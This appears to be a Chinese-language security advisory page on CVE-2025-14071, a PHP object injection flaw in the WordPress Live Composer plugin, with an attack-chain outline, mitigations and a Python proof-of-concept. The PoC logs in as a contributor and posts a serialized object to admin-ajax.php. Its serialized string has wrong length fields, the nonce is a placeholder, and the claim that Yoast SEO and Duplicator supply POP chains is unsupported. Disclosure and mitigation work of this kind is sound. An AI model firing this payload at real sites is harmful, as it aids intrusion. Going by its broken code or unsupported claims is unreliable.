IPBUF安全漏洞报告
English
CVE-2025-14071 CVSS 7.5 高危

CVE-2025-14071 WordPress Live Composer插件PHP对象注入漏洞

披露日期: 2025-12-21

漏洞信息

漏洞编号
CVE-2025-14071
漏洞类型
PHP对象注入
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Live Composer – Free WordPress Website Builder插件

相关标签

PHP对象注入反序列化漏洞WordPress插件漏洞Live Composer高危漏洞CVSS 7.5认证用户攻击短代码注入

漏洞概述

CVE-2025-14071是WordPress Live Composer插件中的一个高危安全漏洞,CVSS评分7.5。该漏洞存在于dslc_module_posts_output短代码处理功能中,由于对用户输入的反序列化操作缺乏严格验证,导致存在PHP对象注入风险。攻击者需要具有Contributor级别或更高的WordPress站点权限即可利用此漏洞。值得注意的是,该插件本身不包含POP链(Property-Oriented Programming Chain),因此单独利用此漏洞影响有限。但如果目标WordPress站点上安装了其他包含POP链的插件或主题,攻击者可能利用这一入口点触发POP链执行任意代码、删除文件或获取敏感数据。此漏洞影响该插件所有版本直至2.0.2,建议立即采取修复措施。

技术细节

该漏洞的核心问题在于Live Composer插件的dslc_module_posts_output短代码处理器对传入参数进行了不安全的反序列化操作。在模块文件module.php的第2807行附近,代码直接使用unserialize()函数处理用户可控的数据,而未进行任何输入验证或净化。攻击者通过构造包含恶意序列化对象的POST请求,可以在反序列化过程中触发__wakeup()、__destruct()等魔术方法的自动调用。虽然当前版本插件本身不包含可利用的POP链,但攻击者可利用WordPress生态系统中其他插件(如Yoast SEO、Duplicator等)提供的POP链实现远程代码执行等高危操作。攻击成功需要满足以下条件:1)攻击者拥有WordPress Contributor权限账户;2)目标站点安装了包含可用POP链的其他插件或主题;3)攻击者能够访问并利用dslc_module_posts_output短代码。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress Contributor级别或更高权限的账户登录凭证
STEP 2
步骤2
攻击者识别目标站点使用的WordPress插件和主题,查找是否存在包含POP链的插件(如Yoast SEO、All in One SEO Pack、Duplicator等)
STEP 3
步骤3
攻击者构造包含恶意序列化PHP对象的payload,利用dslc_module_posts_output短代码的漏洞注入对象
STEP 4
步骤4
当反序列化发生时,注入的恶意对象触发目标插件/主题中的POP链,执行__wakeup()或__destruct()等魔术方法
STEP 5
步骤5
通过POP链的gadget调用,攻击者可实现任意文件删除、敏感数据读取或远程代码执行等高危操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import hashlib # CVE-2025-14071 PoC - PHP Object Injection in Live Composer # Requires Contributor+ level WordPress account target_url = "http://target-wordpress-site.com" username = "attacker" password = "password" # Step 1: Authenticate and get nonce session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } session.post(login_url, data=login_data) # Step 2: Get nonce for shortcode execution nonce_url = f"{target_url}/wp-admin/admin-ajax.php?action=dslc_ajax_get_posts" # Note: Actual nonce extraction depends on plugin configuration # Step 3: Inject malicious serialized object # The vulnerable parameter in dslc_module_posts_output shortcode malicious_payload = 'O:15:"WP_Http_Cookie":1:{s:7:"name";s:5:"shell";}' post_data = { "action": "dslc_ajax_get_posts", "shortcode": "dslc_module_posts_output", "options": malicious_payload, # Vulnerable parameter "nonce": "extracted_nonce_here" } response = session.post(f"{target_url}/wp-admin/admin-ajax.php", data=post_data) print(f"Response Status: {response.status_code}") print(f"Response: {response.text}")

影响范围

Live Composer插件 1.0 至 2.0.2

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1)限制Contributor及以上权限账户的注册和分配;2)安装WordFence、Sucuri等安全插件进行实时监控;3)禁用或限制dslc_module_posts_output短代码的使用;4)审查并移除可能存在POP链的可疑插件和主题;5)实施Web应用防火墙规则阻断可疑的反序列化请求;6)加强服务器端的安全监控和日志审计。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表